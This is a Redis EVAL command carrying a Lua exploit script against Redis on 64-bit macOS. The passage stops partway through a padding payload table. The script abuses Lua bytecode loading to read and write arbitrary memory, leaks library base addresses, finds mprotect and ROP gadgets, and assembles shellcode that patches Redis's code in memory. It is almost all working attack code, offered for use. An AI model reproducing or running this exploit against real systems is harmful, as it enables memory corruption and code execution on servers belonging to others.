EVAL "local fail = function(msg)\n\n  print(\"[-] \" .. msg)\n  error(msg)\nend\n\nlocal addbyte = function(b8, byte)\n  local carry = byte\n  local result = ''\n  for i=1, string.len(b8) do\n    local cb = string.byte(b8, i) + carry\n    if cb >= 256 then\n      carry = 1\n    else\n      carry = 0\n    end\n    result = result .. string.char(cb % 256)\n  end\n\n  return result\nend\n\nlocal double2string = function(x)\n  if x == nil then\n    return x\n  end\n  return struct.pack('<d', x)\nend\n\n\nlocal asdouble = loadstring((string.dump(function(x)\n  for i = x, x, 0 do\n    return i\n  end\nend):gsub('\\96%z%z\\128', '\\22\\0\\0\\128')))\n\nlocal asstring = function(x) return double2string(asdouble(x)) end\n\nlocal cstring = function(v)\n  return addbyte(asstring(v), 24)\nend\n\n\n\n\nlocal string2double = function(x)\n  local r,n = struct.unpack('<d', x)\n  return r\nend\n\nlocal subb8 = function(b8l, b8r)\n  local borrow = 0\n  local result = ''\n\n  for i=1, 8 do\n    local cb = string.byte(b8l, i) - borrow - string.byte(b8r, i)\n    if cb < 0 then\n      borrow = 1\n      cb = cb + 256\n    else\n      borrow = 0\n    end\n    result = result .. string.char(cb)\n  end\n\n  return result\nend\n\nlocal tob8 = function(n)\n  local result = \"\"\n  for i =1, 8 do\n    local next_byte = n % 256\n    result = result .. string.char(next_byte)\n    n = math.floor(n / 256)\n  end\n  return result\nend\n\nlocal toint = function(b8)\n  local result = 0\n  for i =8,1,-1 do\n    result = result * 256\n    result = result + string.byte(b8, i)\n  end\n  return result\nend\n\n\nlocal addb8 = function(b8l, b8r)\n  local carry = 0\n  local result = ''\n  for i=1, 8 do\n    local cb = string.byte(b8l, i) + carry + string.byte(b8r, i)\n    if cb >= 256 then\n      carry = 1\n    else\n      carry = 0\n    end\n    result = result .. string.char(cb % 256)\n  end\n\n  return result\nend\n\n\nlocal addint = function(b8, int)\n  return addb8(b8, tob8(int))\nend\n\nlocal subint = function(b8, int)\n  return subb8(b8, tob8(int))\nend\n\n\n\n\nlocal dump8 = function(b8)\n  if b8 == nil then\n    return \"<nil>\"\n  else\n    return string.format('%02x%02x%02x%02x%02x%02x%02x%02x', string.byte(b8, 8),string.byte(b8, 7),string.byte(b8, 6),string.byte(b8, 5),string.byte(b8, 4),string.byte(b8, 3),string.byte(b8, 2),string.byte(b8, 1))\n  end\nend\n\nlocal dump4 = function(b4)\n  return string.format('%02x%02x%02x%02x', string.byte(b4, 4),string.byte(b4, 3),string.byte(b4, 2),string.byte(b4, 1))\nend\n\n\n\n\n\nlocal word_read = nil\n\nlocal return_read_word = function(b8)\n  word_read = b8\nend\n\n\n\nlocal read_word = function(address)\n\n  local f = loadstring(string.dump(function()\n    local magic = nil\n    local function middle()\n      local upval\n      local cstring = cstring_global\n      local asstring = asstring_global\n      local b8 = word_to_read_global\n      local ret = return_global\n      local function inner()\n        upval = 'nextnext'..'t'..'m'..'papapa'..b8\n        local upval_ptr = cstring(upval)\n        magic = upval_ptr .. upval_ptr .. upval_ptr\n      end\n      inner()\n      ret(asstring(magic))\n    end\n    middle()\n  end):gsub('(\\100%z%z%z)....', '%1\\0\\0\\0\\1', 1))\n\n  local result = nil\n  local return_function = function(v)\n    result = v\n  end\n\n  local env = {cstring_global = cstring, asstring_global = asstring, word_to_read_global = address, return_read_word_global = return_read_word, return_global = return_function}\n\n  setfenv(f, env)\n  f()\n\n  return result\nend\n\n--[[ write word also corrupts the next 4 bytes after address :( const TValue *o2=(obj2); TValue *o1=(obj1); \\\n    o1->value = o2->value; o1->tt=o2->tt; ]]\nlocal write_word = function(address, value)\n  local f = loadstring(string.dump(function()\n    local magic = nil\n    local function middle()\n      local upval\n      local cstring = cstring_global\n      local string2double = string2double_global\n      local b8 = address_global\n      local value = value_to_write_global\n      local function inner()\n        upval = 'nextnext'..'t'..'m'..'papapa'..b8\n        local upval_ptr = cstring(upval)\n        magic = upval_ptr .. upval_ptr .. upval_ptr\n      end\n      inner()\n      magic = string2double(value)\n    end\n    middle()\n  end):gsub('(\\100%z%z%z)....', '%1\\0\\0\\0\\1', 1))\n\n  local env = {cstring_global = cstring, string2double_global = string2double, address_global = address, value_to_write_global = value}\n  setfenv(f, env)\n  f()\nend\n\nlocal new_lazy_stream = function(offset, size)\n  return {buffer = nil, buffer_offset = nil, start_offset = offset, current_offset = 0, size = size}\nend\n\nlocal lazy_stream_seek = function(stream, offset)\n  stream.current_offset = offset\nend\n\nlocal lazy_stream_skip = function(stream, offset)\n  stream.current_offset = stream.current_offset + offset\nend\n\nlocal lazy_stream_read = function(stream)\n  if stream.buffer == nil or stream.current_offset < stream.buffer_offset or stream.current_offset >= stream.buffer_offset + 8 then\n    --[[ dodgy floats ie repeated bytes of 0xFF will trigger multiple reads because the first word will fail then the next and so forth :( )]]\n    stream.buffer = read_word(addint(stream.start_offset, stream.current_offset))\n    stream.buffer_offset = stream.current_offset\n  end\n\n  local byte = nil\n  if stream.buffer ~= nil then\n    byte = string.byte(stream.buffer, stream.current_offset - stream.buffer_offset + 1)\n  end\n\n  stream.current_offset = stream.current_offset + 1\n  return byte\nend\n\n\nlocal lazy_stream_empty = function(stream)\n  return stream.current_offset >= stream.size\nend\n\nlocal read_uleb8 = function(stream)\n  local value = 0\n  local shift = 1\n  while true do\n    local next_byte = lazy_stream_read(stream)\n    local masked = next_byte % 0x80\n\n\n    value = value + (masked * shift)\n\n    local high_bit = next_byte - masked\n\n    if high_bit == 0 then\n      return value\n    end\n    shift = shift * math.pow(2, 7)\n  end\nend\n\n\nlocal read_string = function(stream)\n  local value = {}\n  while true do\n    local next_byte = lazy_stream_read(stream)\n    if next_byte == 0 then\n      return table.concat(value, \"\")\n    end\n    table.insert(value, string.char(next_byte))\n  end\n\nend\n\n\nlocal ALTERNATION = 256\nlocal FINAL = 257\nlocal ANY = 258\n\nlocal function alternation(list)\n  if #list == 0 then\n    fail(\"assertion failed\")\n  end\n\n  if #list == 1 then\n    return list[1]\n  else\n\n    local current = {first_branch = list[1], second_branch = list[2], byte = ALTERNATION}\n    for i=3, #list do\n      current = {first_branch = current, second_branch = list[i], byte = ALTERNATION}\n    end\n\n    return current\n  end\nend\n\nlocal function dotstar()\n  local any = {byte = ANY}\n\n  local alternation = {first_branch = nil, second_branch = any, byte = ALTERNATION}\n  any.first_branch = alternation\n  return alternation\nend\n\nlocal function join(left, right)\n  left.first_branch = right\n  return left\nend\n\nlocal function literal(literal)\n  local current = {byte = FINAL, matched = literal}\n  for i=#literal,1,-1 do\n    current = {byte = string.byte(literal, i), first_branch = current}\n  end\n\n  return current\nend\n\nlocal function addstate(list, state, list_id)\n  if state.lastlist ~= list_id then\n    table.insert(list, state)\n    state.lastlist = list_id\n    if state.byte == ALTERNATION then\n      addstate(list, state.first_branch, list_id)\n      addstate(list, state.second_branch, list_id)\n    end\n  end\nend\n\n\nlocal function re_restart(match_state, re)\n  local current_list = {}\n  local list_id = match_state.list_id + 1\n  addstate(current_list, re, list_id)\n  return {list_id = list_id, current_list = current_list}\nend\n\n\nlocal function re_start(re)\n\n  return re_restart({list_id = 0}, re)\nend\n\n\n\nlocal function re_push_byte(match_state, byte)\n  local list_id = match_state.list_id + 1\n  local next_list = {}\n  local list_id = list_id + 1\n\n  for i=1,#match_state.current_list do\n    local state = match_state.current_list[i]\n    if (state.byte == byte or state.byte == ANY) then\n      addstate(next_list, state.first_branch, list_id)\n    end\n  end\n  return {list_id = list_id, current_list = next_list}\nend\n\n\n\n\nlocal pagealign = function(b8)\n  local byte2 = string.byte(b8, 2)\n  local aligned = math.floor(byte2 / 16) * 16\n  return string.char(0, aligned) .. string.sub(b8, 3)\nend\n\nlocal findmacho = function(b8)\n\n  local b8 = pagealign(b8)\n\n  local target = string.char(0xCF, 0xFA, 0xED, 0xFE)\n\n  local page_size = string.char(0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00)\n\n  while true do\n    local word = read_word(b8)\n\n    if word ~= nil then\n      local top_half = string.sub(word, 1, 4)\n      if top_half == target then\n        return b8\n      end\n    end\n    b8 = subb8(b8, page_size)\n  end\n\nend\n\nlocal readi4 = function(b8)\n  local word = read_word(b8)\n  local top_half = string.sub(word, 1, 4)\n  return struct.unpack(\"<I4\", top_half)\nend\n\n\nlocal c_length = function(s)\n  for i = 1, string.len(s) do\n    if string.byte(s, i) == 0 then\n      return i - 1\n    end\n  end\n\n  return string.len(s)\nend\n\nlocal terminate_c_string = function(s)\n  local length = c_length(s)\n  return string.sub(s, 1, length)\nend\n\n\nlocal parse_segment = function (b8, offset, segment_info)\n  local segment_name = terminate_c_string(read_word(addint(b8, offset + 8)) .. read_word(addint(b8, offset + 16)))\n  local vm_addr = read_word(addint(b8, offset + 24))\n  local vm_size = read_word(addint(b8, offset + 32))\n  local file_offset = read_word(addint(b8, offset + 40))\n\n  print(\"[*] found segment: \" .. segment_name .. \" => \" .. (dump8(vm_addr)) .. \"/\" .. dump8(file_offset))\n\n\n  segment_info[segment_name] = {vm_addr = vm_addr, file_offset = file_offset, vm_size = vm_size}\nend\n\n\nlocal parse_macho_segments = function(macho_offset, dyld_callback)\n  local commands = readi4(addbyte(macho_offset, 16))\n\n  local offset = 32\n\n  local segment_info = {}\n\n  for i=1,commands do\n    local command = readi4(addint(macho_offset, offset))\n    local size = readi4(addint(macho_offset, offset + 4))\n\n    if command == 25 then\n      parse_segment(macho_offset, offset, segment_info)\n    elseif command == 2147483682 then\n      dyld_callback(offset, segment_info)\n    end\n\n    offset = offset + size\n  end\n\n  return segment_info\nend\n\nlocal parse_libsystem_c_macho = function(macho_offset)\n\n  local callback = function(offset, segment_info)\n  end\n\n  local segment_info = parse_macho_segments(macho_offset, callback)\n\n  return segment_info\nend\n\nlocal segment_location = function(macho, segment_info, segment_name)\n\n  local text_segment = segment_info[\"__TEXT\"]\n  local target_segment = segment_info[segment_name]\n  local segment_location = addb8(subb8(target_segment.vm_addr, text_segment.vm_addr), macho)\n\n  return segment_location\nend\n\n\nlocal opcode_offset = function(macho, segment_info, lazy_binding_info_offset)\n\n  local link_edit_segment = segment_info[\"__LINKEDIT\"]\n  local text_segment = segment_info[\"__TEXT\"]\n\n\n  local offset_into_link_edit = subb8(tob8(lazy_binding_info_offset), link_edit_segment.file_offset)\n\n\n  local link_edit_location = segment_location(macho, segment_info, \"__LINKEDIT\")\n\n  return addb8(offset_into_link_edit, link_edit_location)\n\nend\n\nlocal matches_part = function(name, label, matched_so_far)\n\n  if string.len(label) > string.len(name) - matched_so_far then\n    return false\n  end\n\n  for i = 1, #label do\n    if string.byte(label, i) ~= string.byte(name, i + matched_so_far) then\n      return false\n    end\n  end\n\n  return true\nend\n\n\n\nlocal find_exported_symbol = function(stream, name)\n\n  local matched_name = 0\n\n  local name_len = string.len(name)\n\n  while not lazy_stream_empty(stream) do\n\n    local terminal_size = read_uleb8(stream)\n\n\n    if (terminal_size > 0 and name_len == matched_name) then\n      local flags = lazy_stream_read(stream)\n      local symbol_offset = read_uleb8(stream)\n      return symbol_offset\n    end\n\n    lazy_stream_skip(stream, terminal_size)\n\n    local children = lazy_stream_read(stream)\n\n\n    local matched = false\n    for i = 1, children do\n      local label = read_string(stream)\n      local node_offset = read_uleb8(stream)\n\n      if matches_part(name, label, matched_name) then\n        matched_name = matched_name + string.len(label)\n        lazy_stream_seek(stream, node_offset)\n        matched = true\n        break\n      end\n    end\n\n    if not matched then\n      return nil\n    end\n  end\n\nend\n\nlocal process_export_bindings = function(macho_offset, offset, size)\n\n\n  local mprotect = find_exported_symbol(new_lazy_stream(offset, size), \"_mprotect\")\n\n  if mprotect == nil then\n    fail(\"Failed to find mprotect\")\n  else\n    local mprotect_addr = addint(macho_offset, mprotect)\n\n    print(\"[+] found mprotect symbol \" .. dump8(mprotect_addr))\n    return mprotect_addr\n  end\n\nend\n\nlocal parse_exports_dyld_info = function(macho_offset, offset, segment_info)\n  local export_binding_info_offset = readi4(addint(macho_offset, offset + 40))\n  local export_binding_info_size = readi4(addint(macho_offset, offset + 44))\n\n  local offset = opcode_offset(macho_offset, segment_info,export_binding_info_offset)\n\n  return process_export_bindings(macho_offset, offset, export_binding_info_size)\nend\n\nlocal parse_libkernel_macho = function(macho_offset)\n\n  local mprotect_addr = nil\n  local callback = function(offset, segment_info)\n    mprotect_addr = parse_exports_dyld_info(macho_offset, offset, segment_info)\n  end\n\n  parse_macho_segments(macho_offset, callback)\n\n  return mprotect_addr\n\nend\n\nlocal process_lazy_bindings = function(offset, size)\n\n  local stream = new_lazy_stream(offset, size)\n\n  local current_symbol = {}\n  local symbols = {}\n  while not lazy_stream_empty(stream) do\n    local op = lazy_stream_read(stream)\n\n\n    local immediate = op % 16\n    local opcode = op - immediate\n\n    if opcode == 0x70 then\n      --[[BIND_OPCODE_SET_SEGMENT_AND_OFFSET_ULEB]]\n      current_symbol.segment = immediate\n      current_symbol.offset = read_uleb8(stream)\n\n    elseif opcode == 0x40 then\n      --[[BIND_OPCODE_SET_SYMBOL_TRAILING_FLAGS_IMM]]\n      current_symbol.name = read_string(stream)\n    elseif opcode == 0x10 then\n      --[[BIND_OPCODE_SET_DYLIB_ORDINAL_IMM]]\n      --[[ignore]]\n    elseif opcode == 0x90 then\n      --[[BIND_OPCODE_DO_BIND]]\n      print(\"[*] parsed_symbol \" .. current_symbol.name .. \" => \" .. current_symbol.segment .. \":\" .. current_symbol.offset)\n      table.insert(symbols, current_symbol)\n      local old_symbol = current_symbol\n      current_symbol = {}\n      current_symbol.segment = old_symbol.segment\n      current_symbol.offset = old_symbol.offset\n      current_symbol.name = old_symbol.name\n    elseif opcode == 0x00 then\n      --[[BIND_OPCODE_DONE]]\n      --[[ignore]]\n    else\n      fail(\"found unknown opcode in lazy bindings \" .. opcode)\n    end\n\n  end\n\n\n  return symbols\n\n\n\nend\n\nlocal parse_dyld_info = function(macho_offset, offset, segment_info)\n  local lazy_binding_info_offset = readi4(addint(macho_offset, offset + 32))\n  local lazy_binding_size =   readi4(addint(macho_offset, offset + 36))\n\n\n  local offset = opcode_offset(macho_offset, segment_info,lazy_binding_info_offset)\n\n  return process_lazy_bindings(offset, lazy_binding_size)\nend\n\nlocal find_symbol = function(symbols, symbol)\n\n  for i=1, #symbols do\n    if symbols[i].name == symbol then\n      return symbols[i]\n    end\n  end\n\n  return nil\nend\n\n\nlocal leak_macho = function(name, data_location, symbols, symbol)\n\n  local resolved_symbol = find_symbol(symbols, symbol)\n  if resolved_symbol == nil then\n    fail(\"Failed to find \" .. symbol .. \" symbol\")\n  end\n  print(\"[*] Found \" .. symbol .. \" symbol: \" .. resolved_symbol.offset)\n\n  --[[we assume the pointer is into the data segment. #TODO FIX THIS]]\n  local location = addint(data_location, resolved_symbol.offset)\n\n  local address = read_word(location)\n\n  print(\"[*] Found \" .. symbol .. \" location: \" .. dump8(address))\n\n  local macho_address = findmacho(address)\n\n  print('[*] found ' .. name .. ' macho base address: ' .. dump8(macho_address))\n\n  return macho_address\nend\n\n\nlocal parse_redis_macho = function(macho_offset)\n\n  local longjmp_location = nil\n  local libsystem_c = nil\n  local libkernel = nil\n\n  local callback = function(offset, segment_info)\n      local symbols = parse_dyld_info(macho_offset, offset, segment_info)\n\n      local data_location = segment_location(macho_offset, segment_info, \"__DATA\")\n\n\n      libsystem_c = leak_macho(\"libsystem_c\", data_location, symbols, \"_strlen\")\n      libkernel = leak_macho(\"libkernel\", data_location, symbols, \"_getrlimit\")\n\n      local longjmp = find_symbol(symbols, \"_longjmp\")\n\n      if longjmp == nil then\n        longjmp = find_symbol(symbols, \"__longjmp\")\n      end\n\n      if longjmp == nil then\n        fail(\"Failed to find _longjmp symbol\")\n      else\n        longjmp_location = read_word(addint(data_location, longjmp.offset))\n\n        print(\"[+] Found longjump jump location \" .. dump8(longjmp_location))\n      end\n\n\n\n  end\n\n  local segments = parse_macho_segments(macho_offset, callback)\n\n  return {redis = macho_offset, longjmp_address = longjmp_location, libsystem_c = libsystem_c, libkernel = libkernel, redis_segments = segments}\nend\n\n\nlocal matches = function(expected, word)\n\n  for i=1, #expected do\n    if string.byte(expected, i) ~= string.byte(word, i) then\n      return false\n    end\n  end\n\n  return true\nend\n\n\nlocal find_insn = function(name, expected, libc, offsets)\n\n  if #expected >= 8 then\n    error(\"failed assertion\")\n  end\n\n  for i=1, #offsets do\n    local addr = addint(libc, offsets[i])\n    --[[apparently we can do unaligned reads :) :)]]\n    local word = read_word(addr)\n\n\n    if (word ~= nil) and matches(expected, word) then\n\n      return addr\n    end\n  end\n\n  return nil\n\n\nend\n\nlocal function find_rops(rops, stream)\n\n  local literals = {}\n  for i,rop in ipairs(rops) do\n    literals[i] = literal(rop)\n  end\n\n  local re = join(dotstar(), alternation(literals))\n  local state = re_start(re)\n  local found_rops = {}\n  local remaining = #rops\n\n  while not lazy_stream_empty(stream) and remaining > 0 do\n    local next_byte = lazy_stream_read(stream)\n\n    if next_byte == nil then\n      state = re_restart(state, re)\n    else\n      state = re_push_byte(state, next_byte)\n    end\n\n    for i=1,#(state.current_list) do\n      local s = state.current_list[i]\n      if s.byte == FINAL then\n        if found_rops[s.matched] == nil then\n          remaining = remaining - 1\n          found_rops[s.matched] = stream.current_offset - string.len(s.matched)\n        end\n      end\n    end\n  end\n\n  return found_rops\nend\n\n-- offset search for named rops only works if rop_size <= 8 bytes because it only reads\n-- a single word. slightly dodgy\nlocal function find_rops_and_assert(named_rops, stream, libc)\n  local missing_rops = {}\n\n  local inverted = {}\n\n  for rop, detail in pairs(named_rops) do\n    local addr = find_insn(detail.name, rop, libc, detail.offsets)\n    if addr == nil then\n      print(\"[-] Missing rop at fixed location will search: \" .. detail.name)\n      table.insert(missing_rops, rop)\n    else\n      print(\"[*] Found rop: \" .. detail.name .. \" @ \" .. dump8(addr))\n      inverted[detail.name] = addr\n    end\n  end\n\n  if #missing_rops > 0 then\n    local found_rops = find_rops(missing_rops, stream)\n\n    for i=1,#missing_rops do\n      local rop = missing_rops[i]\n      if found_rops[rop] == nil then\n        fail(\"Failed to find rop: \" .. named_rops[rop].name)\n      else\n        local addr = addint(stream.start_offset, found_rops[rop])\n        local name = named_rops[rop].name\n        print(\"[*] Found rop: \" .. name .. \" @ \" .. dump8(addr))\n        inverted[name] = addr\n      end\n    end\n  end\n\n  return inverted\n\nend\n\nlocal copy_words = function(from, n)\n  local buf = {}\n  for i=1,n do\n    buf[i] = read_word(from)\n    from = addbyte(from, 8)\n  end\n\n  buf = table.concat(buf,\"\")\n\n  return buf\nend\n\n\nlocal check_system = function()\n-- os:Darwin 14.3.0 x86_64\n-- arch_bits:64\n\n  local info = redis.call(\"INFO\")\n\n  local os = string.match(info, \"os:([^\\r\\n]*)\")\n\n  if string.find(os, \"Darwin\") then\n    print(\"[*] Matches OSX => \" .. os)\n  else\n    fail(\"Not OSX => \" .. os)\n  end\n\n  local arch_bits = string.match(info, \"arch_bits:([^\\r\\n]*)\")\n\n  if arch_bits == \"64\" then\n    print(\"[*] 64 Bit\")\n  else\n    fail(\"Not 64 Bit => \" .. arch_bits)\n  end\nend\n\nlocal check_bytecode = function()\n\n  local f = loadstring(string.dump(function() end))\n\n  if f == nil then\n    fail(\"Loading byte code not supported\")\n  else\n    print(\"[*] Loading byte code supported\")\n  end\nend\n\n\nlocal find_fparser_cmp = function(program_information)\n  local redis_text_segment = program_information.redis_segments[\"__TEXT\"]\n  local stream = new_lazy_stream(program_information.redis, toint(redis_text_segment.vm_size))\n\n  local re = join(dotstar(), literal(string.char(0x41, 0x83, 0xff, 0x1b)))\n  local state = re_start(re)\n  local found = {}\n\n  local visited = {}\n\n  while not lazy_stream_empty(stream) do\n    local next_byte = lazy_stream_read(stream)\n\n\n    if next_byte == nil then\n      state = re_restart(state, re)\n    else\n      state = re_push_byte(state, next_byte)\n    end\n\n    for i=1,#(state.current_list) do\n      local s = state.current_list[i]\n      if s.byte == FINAL then\n\n        table.insert(found, stream.current_offset - string.len(s.matched))\n      end\n    end\n  end\n\n\n  if #found == 1 then\n    print(\"[*] found cmp   r15, 0x1b\")\n  else\n    fail(\"could not find unique cmp r15,0x1b \" .. #found)\n  end\n\n  local cmp_addr = addint(stream.start_offset, found[1])\n\n  print(\"[*] found cmp @ \" .. dump8(cmp_addr))\n\n  return cmp_addr\nend\n\n\ncheck_system()\n\ncheck_bytecode()\n\nlocal co = coroutine.wrap(function() end)\n\n\nlocal addr = read_word(addbyte(asstring(co), 32))\n\nlocal macho_address = findmacho(addr)\n\nprint('[*] found macho base address: ' .. dump8(macho_address))\n\n\n\nlocal program_information = parse_redis_macho(macho_address)\n\n\nlocal mprotect_addr  = parse_libkernel_macho(program_information.libkernel)\nlocal libc_segments = parse_libsystem_c_macho(program_information.libsystem_c)\n\nlocal longjmp_addr = program_information.longjmp_address\n\nlocal named_rops = {}\nnamed_rops[string.char(0x5E,0x5D,0xC3)] = {name = \"poprsipoprbp\", offsets = {0x1b83, 0x144b}}\nnamed_rops[string.char(0x5F,0x5D,0xC3)] = {name = \"poprdipoprbp\", offsets = {0x1d08, 0x15ee}}\nnamed_rops[string.char(0x5B, 0x41, 0x5E, 0x5D, 0xC3)] = {name = \"poprbxpopr14poprbp\", offsets = {0x1b81,0x1449}}\nnamed_rops[string.char(0x4C, 0x89, 0xF2, 0xFF, 0xD3)] = {name = \"movrdxr14callrbx\", offsets = {0x642f4,0x604f0}}\n\nlocal target_instruction = find_fparser_cmp(program_information)\n\nlocal libc_text_segment = libc_segments[\"__TEXT\"]\n\n-- we assume vm_addr == 0\n\nlocal libc_text_stream = new_lazy_stream(program_information.libsystem_c, toint(libc_text_segment.vm_size))\n\nlocal rop_addresses = find_rops_and_assert(named_rops, libc_text_stream, program_information.libsystem_c)\n\nlocal poprbp = addint(rop_addresses.poprsipoprbp, 1)\n\n\nlocal dummy = '\\1\\1\\1\\1\\1\\1\\1\\1'\nlocal null = '\\0\\0\\0\\0\\0\\0\\0\\0'\n\n\n\nlocal shellcode = nil\n\nlocal payload_str = nil\n\nlocal old_jump_buf = nil\n\ncollectgarbage()\n\nco = coroutine.create(function ()\n  local stack_pointer = read_word(addbyte(asstring(co), 8 * 21))\n  print(\"[*] leaked stack pointer: \" .. dump8(stack_pointer))\n\n  local jmp_buf_eip = addint(stack_pointer, 64)\n  local jmp_buf_sp = addint(stack_pointer, 24)\n\n  local existing_eip = read_word(jmp_buf_eip)\n\n  print(\"[*] old jump_buf eip \" .. dump8(existing_eip))\n\n  local existing_sp = read_word(jmp_buf_sp)\n\n  print(\"[*] existing sp \" .. dump8(existing_sp))\n\n\n\n  old_jump_buf = copy_words(stack_pointer, 48)\n\n\n  local old_jump_buf_addr = addint(cstring(old_jump_buf), 8)\n\n  shellcode =\n    -- 48 bf VALUE    movabs    rdi,VALUE\n    string.char(0x48,0xbf) .. pagealign(target_instruction) ..\n    -- 48 c7 c6 00 20 00 00    mov    rsi,0x2000\n    string.char(0x48, 0xc7, 0xc6, 0x00, 0x20, 0x00, 0x00) ..\n    -- 48 c7 c2 07 00 00 00    mov    rdx,0x7\n    string.char(0x48, 0xc7, 0xc2, 0x07, 0x00, 0x00, 0x00) ..\n\n    -- 48 b8 VALUE movabs rax, VALUE\n    string.char(0x48, 0xb8) .. mprotect_addr ..\n\n    -- ff d0                   call   rax\n\n    string.char(0xff, 0xd0) ..\n\n    -- 48 bf VALUE    movabs    rdi,VALUE\n    string.char(0x48,0xbf) .. target_instruction ..\n\n    -- c7 07 VALUE       mov    DWORD PTR [rdi],VALUE\n\n    string.char(0xc7, 0x07) .. string.char(0x48, 0x83, 0xfc, 0x1b) ..\n\n    -- restore permissions\n\n    -- 48 bf VALUE    movabs    rdi,VALUE\n    string.char(0x48,0xbf) .. pagealign(target_instruction) ..\n    -- 48 c7 c6 00 20 00 00    mov    rsi,0x2000\n    string.char(0x48, 0xc7, 0xc6, 0x00, 0x20, 0x00, 0x00) ..\n    -- 48 c7 c2 05 00 00 00    mov    rdx,0x5\n    string.char(0x48, 0xc7, 0xc2, 0x05, 0x00, 0x00, 0x00) ..\n\n    -- ret\n    string.char(0xc3)\n\n  local shellcode_ptr = cstring(shellcode)\n\n  print(\"[*] shellcode_ptr \" .. dump8(shellcode_ptr))\n\n  local rdi = pagealign(shellcode_ptr)\n  local rsi = tob8(8192)\n  local rdx_all = tob8(7) -- PROT_READ | PROT_WRITE | PROT_EXEC\n  local rdx_read_write = tob8(3) -- PROT_READ | PROT_WRITE\n\n  local payload = {\n          --[[ padding for our fake stack. `system` calls into the dynamic linker because of stubbed crap. so stack can get quite big. 1024 bytes => stack overflow and corruption of lua/redis heap ]]\n          \"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\",\n          \"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\",\n          \"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\",\n          \"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\",\n\n          \"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\",\n          